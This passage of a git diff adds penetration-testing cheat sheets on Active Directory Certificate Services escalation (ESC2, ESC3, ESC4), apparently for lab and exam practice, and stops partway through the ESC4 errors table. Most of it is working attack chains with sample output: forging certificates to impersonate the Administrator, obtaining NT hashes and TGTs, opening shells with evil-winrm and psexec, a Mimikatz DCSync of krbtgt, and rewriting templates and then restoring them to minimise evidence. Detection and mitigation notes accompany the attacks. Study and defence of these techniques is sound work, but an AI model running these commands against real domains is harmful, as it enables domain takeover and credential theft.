KRB5CCNAME=administrator.ccache +wmiexec.py -k -no-pass DC01.domain.htb +# or pass-the-hash with the NT hash +evil-winrm -i $TARGET -u administrator -H <NTHASH> +``` + +*** + +## Path B — Any Purpose / No EKU, No SAN Control (Enrollment Agent Abuse) + +This is where ESC2 gets interesting. When you **cannot** specify a SAN, you leverage the Any Purpose cert as an **Enrollment Agent certificate** — a cert that grants you the right to request certificates *on behalf of other users*. This requires a **second template** that permits agent-based enrollment (most environments have the default `User` template available). + +### The Logic +``` +Your low-priv creds + ↓ + Request ESC2 template cert (Any Purpose) → you get: lowpriv.pfx + ↓ + Use lowpriv.pfx as Enrollment Agent + ↓ + Request cert from a second template (e.g., 'User') ON BEHALF OF administrator + ↓ + You get: administrator.pfx + ↓ + Authenticate as administrator +``` + +### Step 1 — Obtain the Any Purpose Enrollment Agent cert +```bash +certipy-ad req \ + -u 'lowpriv@domain.htb' \ + -p 'Password123!' \ + -dc-ip $TARGET \ + -ca 'DOMAIN-CA-NAME' \ + -template 'VulnTemplateName' + +# Output: lowpriv.pfx (this is your Enrollment Agent weapon) +``` + +### Step 2 — Use Agent cert to request on behalf of Administrator +```bash +certipy-ad req \ + -u 'lowpriv@domain.htb' \ + -p 'Password123!' \ + -dc-ip $TARGET \ + -ca 'DOMAIN-CA-NAME' \ + -template 'User' \ + -on-behalf-of 'domain\administrator' \ + -pfx lowpriv.pfx + +# Output: administrator.pfx +``` + +> 💡 The `-template` here should be **any second template** that allows client authentication and permits agent enrollment. The built-in `User` template is the most common target, but check your certipy output for other available templates if `User` fails. + +### Step 3 — Authenticate +```bash +certipy-ad auth \ + -pfx administrator.pfx \ + -username administrator \ + -domain domain.htb \ + -dc-ip $TARGET + +# Output: administrator.ccache + NT hash +``` + +### Step 4 — Shell (same as always) +```bash +export KRB5CCNAME=administrator.ccache +wmiexec.py -k -no-pass DC01.domain.htb +``` + +*** + +## Windows Attack Path (Certify.exe + Rubeus) + +### Path A (Same as ESC1) +```powershell +.\Certify.exe request /ca:DC01.domain.local\DOMAIN-CA /template:VulnTemplate /altname:administrator +openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx +.\Rubeus.exe asktgt /user:administrator /certificate:cert.pfx /getcredentials /nowrap +``` + +### Path B (Enrollment Agent) +```powershell +# Step 1: Get the Any Purpose agent cert +.\Certify.exe request /ca:DC01.domain.local\DOMAIN-CA /template:VulnTemplate +# Save output as agent.pem, convert: +openssl pkcs12 -in agent.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out agent.pfx + +# Step 2: Use agent cert to enroll on behalf of Administrator +# Note: Certify uses /onbehalfof and /enrollcert for this +.\Certify.exe request /ca:DC01.domain.local\DOMAIN-CA /template:User /onbehalfof:domain\administrator /enrollcert:agent.pfx /enrollcertpw:"" +openssl pkcs12 -in admin.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out admin.pfx + +# Step 3: Get TGT +.\Rubeus.exe asktgt /user:administrator /certificate:admin.pfx /getcredentials /nowrap +``` + +*** + +## ESC2 vs ESC1 — Key Differences + +| | ESC1 | ESC2 | +|---|---|---| +| **Root cause** | `ENROLLEE_SUPPLIES_SUBJECT` flag | `Any Purpose` EKU or no EKU | +| **Single-step attack** | ✅ Yes (if SAN allowed) | ✅ Path A only | +| **Two-step attack** | ❌ | ✅ Path B (agent-based) | +| **Can act as Enrollment Agent** | ❌ | ✅ | +| **Certipy flag for Path A** | `-upn` | `-upn` (identical) | +| **Certipy flag for Path B** | N/A | `-on-behalf-of` + `-pfx` | + +*** + +## Detection Indicators + +- **Event ID 4886** — Certificate Services received a certificate request +- **Event ID 4887** — Certificate Services approved a certificate request +- Look for certificate requests where the requester identity (`Requester`) and the certificate subject (`Subject`) **do not match** — this is the red flag for both ESC1 and ESC2 Path B +- Alert on any certificate issued with `Extended Key Usage = Any Purpose` (OID `2.5.29.37.0`) being used for PKINIT authentication + +*** + +## Mitigation + +- **Replace `Any Purpose` EKU** with only the specific EKUs the template actually needs (e.g., just `Client Authentication`) +- **Never deploy templates with no EKU** unless they are strictly internal CA subordinate templates, isolated from domain authentication paths +- **Restrict enrollment rights** — remove `Domain Users` and `Authenticated Users` from templates with broad EKUs +- **Audit your templates regularly** — run `certipy-ad find -vulnerable` as part of your scheduled security reviews + +*** + +## OPSEC Considerations + +| Action | Log Generated | Noise Level | +|--------|--------------|-------------| +| Path A — Same as ESC1 | Event ID 4886/4887 on CA | 🟢 Low | +| Path B — Agent enrollment (Step 1) | Event ID 4886/4887 | 🟢 Low | +| Path B — On-behalf-of request (Step 2) | Event ID 4887 (requester ≠ subject) | 🟡 Medium | + +> 💡 Path A is byte-for-byte identical to ESC1 in noise. Path B is slightly noisier because the CA logs show a different requester vs subject — which is the red flag for agent-based enrollment. + +Sources + AD CS Security: Understanding and Exploiting ESC Techniques https://www.vaadata.com/blog/ad-cs-security-understanding-and-exploiting-esc-techniques/ + 06 ‐ Privilege Escalation · ly4k/Certipy Wiki https://github.com/ly4k/Certipy/wiki/06-%E2%80%90-Privilege-Escalation + redblock_team-11.-ADCS-Attacks.pdf https://ppl-ai-file-upload.s3.amazonaws.com/web/direct-files/attachments/14624338/ba26726a-dc39-49bb-a7f4-de582faee79b/redblock_team-11.-ADCS-Attacks.pdf + Abusing Active Directory Certificate Services (Part 4) https://www.blackhillsinfosec.com/abusing-active-directory-certificate-services-part-4/ + AD Certificate Exploitation: ESC2 - Hacking Articles https://www.hackingarticles.in/ad-certificate-exploitation-esc2/ + ESC2 - Misconfigured Any Purpose Templates https://docs.specterops.io/ghostpack-docs/Certify.wik-mdx/esc2-misconfigured-any-purpose + Active Directory Certificate Services (AD CS) Exploitation - VOIDREAD https://voidread.pages.dev/posts/ad-cs-abuses/ + AD CS Security: Understanding and Exploiting ESC Techniques https://www.buaq.net/go-365639.html + ADCS Security - ESC Attacks & Hardening Guide - FixMyCert https://fixmycert.com/adcs/security + AD Certificate Exploitation: ESC2 - hendryadrian.com https://www.hendryadrian.com/ad-certificate-exploitation-esc2/ + An Expert Guide to Fortifying Active Directory Certificate ... https://www.nccgroup.com/research-blog/defending-your-directory-an-expert-guide-to-fortifying-active-directory-certificate-services-adcs-against-exploitation/ + Hackers Are Abusing These Certificate Templates in Windows https://www.youtube.com/watch?v=UcCAE0pezds + AD CS Certificate and Security Configuration Exploits - SecureW2 https://www.securew2.com/blog/ad-cs-certificate-and-security-configuration-exploits + AD CS ESC1: How to Exploit Certificate Misconfigurations - LinkedIn https://www.linkedin.com/posts/shreya-madan_ad-certificate-exploitation-esc1-activity-7373925293264318464-d0ui + ADCS ESC1 Privilege Escalation Tutorial | Attack Active ... - YouTube https://www.youtube.com/watch?v=wozcGjAsfZ0 + Preventing Privilege Escalation via Active Directory ... https://www.catonetworks.com/blog/cato-ctrl-preventing-privilege-escalation-via-active-directory-certificate-services-adcs/ diff --git a/src/content/sheets/active-directory/esc3-misconfigured-enrollment-agent-templates.md b/src/content/sheets/active-directory/esc3-misconfigured-enrollment-agent-templates.md @@ -0,0 +1,333 @@ +--- +title: "ESC3 — Misconfigured Enrollment Agent Templates" +description: "ESC3 exploits the Certificate Request Agent EKU (OID 1.3.6.1.4.1.311.20.2.1). In legitimate AD environments, this EKU exists for scenarios like IT…" +category: active-directory +tags: ["active-directory", "adcs", "privilege-escalation"] +tools: ["Mimikatz", "Rubeus", "Certipy", "Evil-WinRM", "OpenSSL"] +difficulty: advanced +updated: "2026-08-10" +source: "vault:ActiveDirectory/ACL-ESC-Techniques/ESC3 — Misconfigured Enrollment Agent Templates.md" +--- +# ESC3 — Misconfigured Enrollment Agent Templates + +## Quick Reference + +| Field | Value | +|-------|-------| +| **Category** | Certificate Template Misconfiguration | +| **Difficulty** | Medium (two-stage attack) | +| **Pre-requisites** | CRA template + second auth template, both enrollable | +| **Tools** | Certipy, Certify.exe, Rubeus | +| **OPSEC Noise** | Medium — two cert requests, requester ≠ subject on second | +| **One-liner** | Request an Enrollment Agent cert (Template 1), then use it to request a Client Auth cert on behalf of Administrator (Template 2). | + +*** + +## What Is ESC3? + +ESC3 exploits the **Certificate Request Agent EKU** (OID `1.3.6.1.4.1.311.20.2.1`). In legitimate AD environments, this EKU exists for scenarios like IT helpdesk staff requesting smart card certificates on behalf of users who can't do it themselves — a perfectly valid business use case. The abuse happens when this functionality is misconfigured and exposed to low-privileged accounts. + +Where ESC1 and ESC2 are single-template attacks, **ESC3 is fundamentally a two-template, two-certificate attack**. You need: +- **Template 1 (CRA Template):** Grants you an Enrollment Agent certificate +- **Template 2 (Target Template):** A second template that allows agent-based enrollment and has a domain authentication EKU + +Think of it like this — Template 1 gives you a **staff badge** that says "I'm allowed to request on behalf of others." Template 2 is the **door** you then use that badge to walk through, as any user you choose. + +*** + +## The Two Circumstances That Enable ESC3 + +ESC3 has two distinct vulnerability circumstances that must each exist — one on each template: + +### Circumstance 1 — The CRA Template (Template 1) +| Condition | What to Check | +|-----------|---------------| +| Low-priv users have enrollment rights | `Enrollment Rights: DOMAIN\Domain Users` | +| Manager Approval is off | `Requires Manager Approval: False` | +| No authorized signatures required | `Authorized Signatures Required: 0` | +| Template has **Certificate Request Agent EKU** | `Enrollment Agent: True` / EKU OID `1.3.6.1.4.1.311.20.2.1` | + +### Circumstance 2 — The Target Template (Template 2) +| Condition | What to Check | +|-----------|---------------| +| Low-priv users have enrollment rights | `Enrollment Rights: DOMAIN\Domain Users` | +| Manager Approval is off | `Requires Manager Approval: False` | +| **Enrollment Agent Restrictions NOT enforced on the CA** | CA output shows `Enrollment Agent Restrictions: None` | +| Template has a **domain authentication EKU** | `Client Authentication: True` | +| If schema version > 1: must have an Application Policy Issuance Requirement requiring CRA EKU | Check `Authorized Signatures Required` and `Application Policies` | + +> 💡 The built-in **`User`** template is almost always a valid Template 2 target in real environments because it is version 1 schema — meaning it doesn't require authorized signatures, and it has Client Authentication EKU. Always check if it's available before looking for something exotic. + +*** + +## Step 0 — Enumeration + +```bash +# Standard vulnerable scan +certipy-ad find -u 'lowpriv@domain.htb' -p 'Password123!' \ + -dc-ip $TARGET -vulnerable -stdout + +# With hash +certipy-ad find -u 'lowpriv@domain.htb' -hashes :NTHASH \ + -dc-ip $TARGET -vulnerable -stdout +``` + +### What Vulnerable ESC3 Output Looks Like + +**Template 1 (CRA Template) — what you're looking for:** +``` +Template Name : ESC3-CRA +Enabled : True +Client Authentication : False +Enrollment Agent : True ← THE key flag +Any Purpose : False +Enrollee Supplies Subject : False +Extended Key Usage : Certificate Request Agent ← OID 1.3.6.1.4.1.311.20.2.1 +Requires Manager Approval : False +Authorized Signatures Required : 0 +Permissions + Enrollment Rights : DOMAIN\Domain Users + +[!] Vulnerabilities + ESC3 : 'DOMAIN\Domain Users' can enroll and template has Certificate Request Agent EKU set +``` + +**CA output — confirm no Enrollment Agent Restrictions:** +``` +CA Name : DOMAIN-CA +Enrollment Agent Restrictions : None ← Required for attack to work +``` + +**Template 2 (Target Template) — what you're looking for:** +``` +Template Name : User +Enabled : True +Client Authentication : True ← Auth EKU ✓ +Requires Manager Approval : False +Authorized Signatures Required : 0 +Permissions + Enrollment Rights : DOMAIN\Domain Users +``` + +*** + +## The Full Attack Chain — Linux (Certipy) + +### Step 1 — Request Your Enrollment Agent Certificate (Template 1) + +```bash +certipy-ad req \ + -u 'lowpriv@domain.htb' \ + -p 'Password123!' \ + -dc-ip $TARGET \ + -ca 'DOMAIN-CA-NAME' \ + -template 'ESC3-CRA' + +# Output: lowpriv.pfx +# This is your Enrollment Agent weapon — treat it carefully +``` + +**Expected output:** +``` +[*] Requesting certificate via RPC +[*] Successfully requested certificate +[*] Request ID is 12 +[*] Got certificate with multiple identities +[*] Saving certificate and private key to 'lowpriv.pfx' +``` + +> ⚠️ Notice that unlike ESC1/ESC2, there is **no `-upn` flag here**. You are simply requesting the CRA cert for yourself. The impersonation happens in Step 2. + +*** + +### Step 2 — Use Agent Cert to Request ON BEHALF OF Administrator (Template 2) + +```bash +certipy-ad req \ + -u 'lowpriv@domain.htb' \ + -p 'Password123!' \ + -dc-ip $TARGET \ + -ca 'DOMAIN-CA-NAME' \ + -template 'User' \ + -on-behalf-of 'domain\administrator' \ + -pfx lowpriv.pfx + +# Output: administrator.pfx +``` + +**Expected output:** +``` +[*] Requesting certificate via RPC +[*] Successfully requested certificate +[*] Request ID is 13 +[*] Got certificate with UPN 'administrator@domain.htb' +[*] Saving certificate and private key to 'administrator.pfx' +``` + +> 💡 The `-on-behalf-of` value uses **`DOMAIN\username`** format (backslash), not UPN format. Get this wrong and you'll get an error. Use the NetBIOS domain name, not the FQDN. + +> 💡 The `-pfx` flag here points to the **Enrollment Agent cert** you got in Step 1 — Certipy uses it to co-sign the CSR on behalf of the target user. + +*** + +### Step 3 — Authenticate as Administrator + +```bash +certipy-ad auth \ + -pfx administrator.pfx \ + -username administrator \ + -domain domain.htb \ + -dc-ip $TARGET +``` + +**Expected output:** +``` +[*] Using principal: 'administrator@domain.htb' +[*] Trying to get TGT... +[*] Got TGT +[*] Saving credential cache to 'administrator.ccache' +[*] Got hash for 'administrator@domain.htb': aad3b435b51404eeaad3b435b51404ee:NTHASH +``` + +*** + +### Step 4 — Shell + +```bash +# Kerberos TGT +export KRB5CCNAME=administrator.ccache +wmiexec.py -k -no-pass DC01.domain.htb +evil-winrm -i DC01.domain.htb -r domain.htb + +# Pass-the-Hash +evil-winrm -i $TARGET -u administrator -H <NTHASH> +psexec.py administrator@$TARGET -hashes :NTHASH +``` + +*** + +## Full Attack Chain — Windows (Certify.exe + Rubeus) + +```powershell +# ── STEP 1: Get Enrollment Agent Certificate ──────────────────────────────── +.\Certify.exe request /ca:DC01.domain.local\DOMAIN-CA /template:ESC3-CRA +# Copy cert.pem output, save to file, then convert: +openssl pkcs12 -in agent.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out agent.pfx +# Leave password blank + +# ── STEP 2: Use Agent Cert to Enroll on Behalf of Administrator ────────────── +.\Certify.exe request /ca:DC01.domain.local\DOMAIN-CA /template:User /onbehalfof:domain\administrator /enrollcert:agent.pfx /enrollcertpw:"" +# Copy cert.pem output, convert: +openssl pkcs12 -in admin.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out admin.pfx + +# ── STEP 3: Get TGT + NT Hash via Rubeus ──────────────────────────────────── +.\Rubeus.exe asktgt /user:administrator /certificate:admin.pfx /getcredentials /nowrap + +# ── STEP 4: Import ticket and use ─────────────────────────────────────────── +.\Rubeus.exe createnetonly /program:powershell.exe /show +.\Rubeus.exe ptt /ticket:<base64ticket> + +# DCSync from the injected session +Invoke-Mimikatz -Command '"lsadump::dcsync /user:domain\krbtgt"' +``` + +*** + +## ESC3 Visual Attack Flow + +``` +[lowpriv@domain.htb] + │ + │ certipy req -template ESC3-CRA + ▼ +[lowpriv.pfx] ← Enrollment Agent Certificate (CRA EKU) + │ + │ certipy req -template User + │ -on-behalf-of domain\administrator + │ -pfx lowpriv.pfx + ▼ +[administrator.pfx] ← Certificate issued FOR Administrator + │ + │ certipy auth -pfx administrator.pfx + ▼ +[TGT + NT Hash for Administrator] + │ + ▼ +[DOMAIN ADMIN] +``` + +*** + +## ESC1 vs ESC2 vs ESC3 — Side by Side + +| | ESC1 | ESC2 | ESC3 | +|---|---|---|---| +| **Templates needed** | 1 | 1 | **2** | +| **Steps** | 2 | 2 (Path A) / 3 (Path B) | **3** | +| **Key flag** | `ENROLLEE_SUPPLIES_SUBJECT` | `Any Purpose` / No EKU | `Certificate Request Agent EKU` | +| **SAN injection** | ✅ Direct via `-upn` | ✅ Path A / ❌ Path B | ❌ Uses `-on-behalf-of` | +| **CA restriction matters** | ❌ | ❌ | ✅ `Enrollment Agent Restrictions: None` required | +| **Certipy key flag** | `-upn` | `-upn` / `-on-behalf-of` | `-on-behalf-of` + `-pfx` | + +*** + +## Common Errors and Fixes + +| Error | Cause | Fix | +|-------|-------|-----| +| `Got error while trying to request certificate` on Step 2 | CA has Enrollment Agent Restrictions set | Check CA output for `Enrollment Agent Restrictions` — if it's not `None`, restrictions are blocking agent enrollment | +| `The NETBIOS connection with the remote host timed out` | RPC timeout | Re-run without `-dc-host` flag | +| `Certificate has no object SID` on Step 2 | Normal for agent-enrolled certs | Proceed — auth should still work | +| `KDC_ERR_CLIENT_NOT_TRUSTED` on auth | Cert not trusted by DC | Ensure CA cert is in NTAuthCertificates — unlikely issue in a real domain | + +*** + +## Detection Indicators + +- **Event ID 4887** — CA issued a certificate where the `Requester` and `Subject` are **different users** — the clearest sign of ESC3 exploitation +- **Event ID 4898** — A certificate template with Certificate Request Agent EKU was loaded during enrollment +- Splunk query to detect ESC3-vulnerable template usage: +``` +CertificateRequestAgentEKU == "TRUE" +AND ManagerApprovalEnabled == "FALSE" +AND NumAuthorizedSignatures == 0 +AND DomainOrAuthenUsersCanEnrollOrAutoEnroll == "TRUE" +``` + +*** + +## Mitigation + +- **Enable Enrollment Agent Restrictions** on the CA — restrict which agents can enroll on behalf of which users, and for which templates +- **Remove `Certificate Request Agent` EKU** from any template that doesn't explicitly require it for a business purpose +- **Restrict enrollment rights** on CRA templates — these should never be available to `Domain Users` or `Authenticated Users` +- **Schema Version 2 templates** — configure `Authorized Signatures Required: 1` and set the Application Policy to `Certificate Request Agent` — this forces the CA to validate the signing cert is a proper CRA cert, adding a layer of control + +*** + +## OPSEC Considerations + +| Action | Log Generated | Noise Level | +|--------|--------------|-------------| +| CRA cert request (Step 1) | Event ID 4886/4887 | 🟢 Low | +| On-behalf-of request (Step 2) | Event ID 4887 (requester ≠ subject) | 🟡 Medium | +| Authentication (Step 3) | Event ID 4768 (TGT) | 🟢 Low | + +> 💡 The on-behalf-of request in Step 2 is the noisiest part — the CA logs clearly show a different requester and subject. This is the primary detection opportunity. + +Sources + AD CS Certificate and Security Configuration Exploits - SecureW2 https://www.securew2.com/blog/ad-cs-certificate-and-security-configuration-exploits + redblock_team-11.-ADCS-Attacks.pdf https://ppl-ai-file-upload.s3.amazonaws.com/web/direct-files/attachments/14624338/ba26726a-dc39-49bb-a7f4-de582faee79b/redblock_team-11.-ADCS-Attacks.pdf + AD CS Security: Understanding and Exploiting ESC Techniques https://www.vaadata.com/blog/ad-cs-security-understanding-and-exploiting-esc-techniques/ + Active Directory Certificate Services (ADCS – ESC3) - RBT Security https://www.rbtsec.com/blog/active-directory-certificate-services-adcs-esc3/ + Common ADCS Vulnerabilities: Logging, Exploitation ... - Lares Labs https://labs.lares.com/adcs-exploits-investigations-pt2/ + ADCS ESC3: Enrollment Agent Template - hendryadrian.com https://www.hendryadrian.com/adcs-esc3-enrollment-agent-template/ + Active Directory Certificate Services (ADCS) is vulnerable to ESC3 ... https://www.facebook.com/cybersna/posts/active-directory-certificate-services-adcs-is-vulnerable-to-esc3-certificate-att/999663635697077/ + ADCS ESC3 Enrollment Agent Exploitation - Active Directory - Scribd https://www.scribd.com/document/870626405/ADCS-ESC3-Enrollment-Agent-Template + Active Directory Certificate Services (AD CS) Exploitation - VOIDREAD https://voidread.pages.dev/posts/ad-cs-abuses/ + AD CS Security: Understanding and Exploiting ESC Techniques https://www.buaq.net/go-365639.html + Active-Directory-Certificate-Services-abuse/ADCS.md at main - GitHub https://github.com/RayRRT/Active-Directory-Certificate-Services-abuse/blob/main/ADCS.md + An Expert Guide to Fortifying Active Directory Certificate ... https://www.nccgroup.com/research-blog/defending-your-directory-an-expert-guide-to-fortifying-active-directory-certificate-services-adcs-against-exploitation/ + Detecting ADCS Privilege Escalation: How Misconfigured ... https://hawk-eye.io/2025/09/detecting-adcs-privilege-escalation-how-misconfigured-certificates-expose-active-directory/ + Exploiting ESC3 to compromise the domain | Attacking ADCS full course https://www.youtube.com/watch?v=sMTwPU-FTuk + Abusing Active Directory Certificate Services (ADCS) | ESC3 Attack Explained https://www.youtube.com/watch?v=T6-q_R7L5GE diff --git a/src/content/sheets/active-directory/esc4-vulnerable-certificate-template-access-control.md b/src/content/sheets/active-directory/esc4-vulnerable-certificate-template-access-control.md @@ -0,0 +1,342 @@ +--- +title: "ESC4 — Vulnerable Certificate Template Access Control" +description: "ESC4 is a permission-level attack, not a template configuration attack. Every ESC attack up to this point (ESC1–3) abused what a template was configured…" +category: active-directory +tags: ["active-directory", "adcs", "privilege-escalation"] +tools: ["Rubeus", "Certipy", "BloodHound", "Evil-WinRM", "OpenSSL"] +difficulty: advanced +updated: "2026-08-10" +source: "vault:ActiveDirectory/ACL-ESC-Techniques/ESC4 — Vulnerable Certificate Template Access Control.md" +--- +# ESC4 — Vulnerable Certificate Template Access Control + +## Quick Reference + +| Field | Value | +|-------|-------| +| **Category** | Certificate Template Permission Abuse | +| **Difficulty** | Medium | +| **Pre-requisites** | Write/Owner ACE on a certificate template object | +| **Tools** | Certipy, Certify.exe, PowerView, BloodyAD | +| **OPSEC Noise** | High — modifying AD template objects generates 5136 events | +| **One-liner** | Abuse write permissions on a template to add `ENROLLEE_SUPPLIES_SUBJECT` flag and Client Auth EKU, turning it into an ESC1-vulnerable template. | + +*** + +## What Is ESC4? + +ESC4 is a **permission-level attack, not a template configuration attack**. Every ESC attack up to this point (ESC1–3) abused *what a template was configured to do*. ESC4 is different — it abuses *who has the right to change a template*. When a low-privileged user holds certain write-level permissions over a certificate template AD object, they can **rewrite the template's configuration** to introduce ESC1 vulnerabilities that didn't previously exist, exploit the newly misconfigured template, then optionally restore the original config to cover their tracks. + +Certificate templates are just AD objects stored in `CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration`. Like any AD object, they have a DACL. When that DACL is loose, the template becomes a weapon you forge yourself. + +*** + +## The Dangerous ACEs — What You Need on the Template + +Any **one** of these permissions on a certificate template object is enough to execute ESC4: + +| ACE / Right | What It Lets You Do | +|-------------|---------------------| +| **Owner** | Full control over the object — can modify the DACL, grant yourself anything | +| **WriteOwner** | Take ownership of the template object, then gain full control | +| **WriteDACL** | Modify the DACL directly — grant yourself `WriteProperty` or `GenericAll` | +| **WriteProperty** | Directly modify any attribute on the template — this is the most direct path | +| **GenericWrite** | Covers all `WriteProperty` rights | +| **GenericAll** / **FullControl** | Unrestricted access — modify anything | + +The attack chain is always: **Use your write permission → Mutate template to ESC1 → Request cert as Administrator → Authenticate**. + +*** + +## Step 0 — Enumeration + +```bash +# Standard scan +certipy-ad find -u 'lowpriv@domain.htb' -p 'Password123!' \ + -dc-ip $TARGET -vulnerable -stdout + +# With hash +certipy-ad find -u 'lowpriv@domain.htb' -hashes :NTHASH \ + -dc-ip $TARGET -vulnerable -stdout + +# Grep for ESC4 if output saved to file +cat certipy_output.txt | grep "ESC4" +``` + +### What Vulnerable ESC4 Output Looks Like + +``` +Template Name : VulnTemplate +Enabled : True +Client Authentication : False ← Not yet exploitable directly +Enrollee Supplies Subject : False ← Not yet vulnerable to ESC1 +Requires Manager Approval : True ← Locked down... for now +Extended Key Usage : Encrypting File System + +Permissions + Enrollment Permissions + Enrollment Rights : DOMAIN\Domain Users + Object Control Permissions + Owner : DOMAIN\Administrator + Write Owner Principals: DOMAIN\Domain Users ← ⚠️ DANGEROUS + Write Dacl Principals : DOMAIN\Domain Users ← ⚠️ DANGEROUS + Write Property Principals: DOMAIN\Domain Users ← ⚠️ DANGEROUS + Full Control Principals: DOMAIN\lowpriv ← ⚠️ DANGEROUS + +[!] Vulnerabilities + ESC4 : 'DOMAIN\Domain Users' has dangerous permissions +``` + +> 💡 Certipy may also flag this via BloodHound edges. In BloodHound, look for edges like `GenericWrite`, `WriteDACL`, `WriteOwner`, or `GenericAll` from a low-priv principal to a certificate template node. + +*** + +## The Core Technique — Template Mutation via `certipy template` + +Certipy has a dedicated `template` subcommand that automates the template mutation for you. It: +1. **Saves** the original template config to a JSON backup file +2. **Overwrites** the template with ESC1-vulnerable settings +3. Lets you **restore** the original config after exploitation + +*** + +## Full Attack Chain — Linux (Certipy) + +### Step 1 — Save the original template config (IMPORTANT — do this first) + +```bash +certipy-ad template \ + -u 'lowpriv@domain.htb' \ + -p 'Password123!' \ + -dc-ip $TARGET \ + -template 'VulnTemplateName' \ + -save-old + +# Output: VulnTemplateName.json ← Keep this safe for restoration +``` + +> ⚠️ **Always back up the original config.** On a real engagement or exam, modifying a live template without restoring it is noisy and could break legitimate business processes. On HTB it matters less, but build the habit now. + +*** + +### Step 2 — Mutate the template to be ESC1-vulnerable + +```bash +certipy-ad template \ + -u 'lowpriv@domain.htb' \ + -p 'Password123!' \ + -dc-ip $TARGET \ + -template 'VulnTemplateName' +``` + +**What Certipy does under the hood**: +- Sets `msPKI-Certificate-Name-Flag` → `ENROLLEE_SUPPLIES_SUBJECT` (0x1) +- Sets `msPKI-EnrollmentFlag` → removes `PEND_ALL_REQUESTS` (0x2) +- Sets `mspki-ra-signature` → `0` +- Sets `pKIExtendedKeyUsage` → `1.3.6.1.5.5.7.3.2` (Client Authentication) +- Sets `mspki-certificate-application-policy` → Client Authentication OID + +**Expected output:** +``` +[*] Updating certificate template 'VulnTemplateName' +[*] Successfully updated 'VulnTemplateName' +``` + +You can verify the mutation worked by re-running the find command: +```bash +certipy-ad find -u 'lowpriv@domain.htb' -p 'Password123!' \ + -dc-ip $TARGET -vulnerable -stdout +# The template should now also show ESC1 vulnerability +``` + +*** + +### Step 3 — Exploit the now-ESC1-vulnerable template + +```bash +certipy-ad req \ + -u 'lowpriv@domain.htb' \ + -p 'Password123!' \ + -dc-ip $TARGET \ + -ca 'DOMAIN-CA-NAME' \ + -template 'VulnTemplateName' \ + -upn 'administrator@domain.htb' + +# Output: administrator.pfx +``` + +*** + +### Step 4 — Authenticate + +```bash +certipy-ad auth \ + -pfx administrator.pfx \ + -username administrator \ + -domain domain.htb \ + -dc-ip $TARGET + +# Output: administrator.ccache + NT hash +``` + +*** + +### Step 5 — RESTORE the original template (critical) + +```bash +certipy-ad template \ + -u 'lowpriv@domain.htb' \ + -p 'Password123!' \ + -dc-ip $TARGET \ + -template 'VulnTemplateName' \ + -configuration VulnTemplateName.json + +# Output: [*] Successfully updated 'VulnTemplateName' +``` + +> 💡 On a real engagement you restore this immediately after getting your cert. On HTB boxes, restore out of good habit — it also proves you understand clean-up, which is an OSCP/exam requirement. + +*** + +### Step 6 — Get your shell + +```bash +# Kerberos TGT +export KRB5CCNAME=administrator.ccache +wmiexec.py -k -no-pass DC01.domain.htb +evil-winrm -i DC01.domain.htb -r domain.htb + +# Pass-the-Hash +evil-winrm -i $TARGET -u administrator -H <NTHASH> +psexec.py administrator@$TARGET -hashes :NTHASH +``` + +*** + +## Full Attack Chain — Windows (PowerView + Certify.exe + Rubeus) + +On Windows, you manually mutate the template attributes using **PowerView** before using Certify: + +```powershell +Import-Module .\PowerView.ps1 + +# ── Step 1: Grant enrollment rights to Domain Users ───────────────────────── +Add-DomainObjectAcl -TargetIdentity 'VulnTemplate' ` + -PrincipalIdentity 'Domain Users' ` + -RightsGUID '0e10c968-78fb-11d2-90d4-00c04f79dc55' ` + -TargetSearchBase "LDAP://CN=Configuration,DC=domain,DC=local" -Verbose + +# ── Step 2: Disable Manager Approval (set EnrollmentFlag to 9) ────────────── +Set-DomainObject -SearchBase "CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=domain,DC=local" ` + -Identity 'VulnTemplate' -Set @{'mspki-enrollment-flag'=9} -Verbose + +# ── Step 3: Disable Authorized Signature Requirement ──────────────────────── +Set-DomainObject -SearchBase "CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=domain,DC=local" ` + -Identity 'VulnTemplate' -Set @{'mspki-ra-signature'=0} -Verbose + +# ── Step 4: Enable SAN Specification (ENROLLEE_SUPPLIES_SUBJECT = 1) ───────── +Set-DomainObject -SearchBase "CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=domain,DC=local" ` + -Identity 'VulnTemplate' -Set @{'mspki-certificate-name-flag'=1} -Verbose + +# ── Step 5: Set Client Authentication EKU ─────────────────────────────────── +Set-DomainObject -SearchBase "CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=domain,DC=local" ` + -Identity 'VulnTemplate' -Set @{'pkiextendedkeyusage'='1.3.6.1.5.5.7.3.2'} -Verbose + +Set-DomainObject -SearchBase "CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=domain,DC=local" ` + -Identity 'VulnTemplate' -Set @{'mspki-certificate-application-policy'='1.3.6.1.5.5.7.3.2'} -Verbose + +# ── Step 6: Request cert with injected SAN ─────────────────────────────────── +.\Certify.exe request /ca:DC01.domain.local\DOMAIN-CA /template:VulnTemplate /altname:administrator +openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx + +# ── Step 7: Get TGT + NT Hash ──────────────────────────────────────────────── +.\Rubeus.exe asktgt /user:administrator /certificate:cert.pfx /getcredentials /nowrap +``` + +*** + +## ESC4 Visual Attack Flow + +``` +[lowpriv has WriteProperty over VulnTemplate] + │ + │ certipy template -template VulnTemplate + ▼ +[Template mutated → ESC1 flags written] + mspki-certificate-name-flag = ENROLLEE_SUPPLIES_SUBJECT + mspki-enrollment-flag = no PEND_ALL_REQUESTS + pKIExtendedKeyUsage = Client Authentication + │ + │ certipy req -template VulnTemplate -upn administrator@domain.htb + ▼ +[administrator.pfx issued] + │ + │ certipy auth -pfx administrator.pfx + ▼ +[TGT + NT Hash for Administrator] + │ + │ certipy template -configuration VulnTemplate.json ← RESTORE + ▼ +[Template restored — evidence minimised] +``` + +*** + +## Common Errors and Fixes + +| Error | Cause | Fix | +|-------|-------|-----| +| `Access Denied` on template mutation | You have `WriteOwner` but not yet 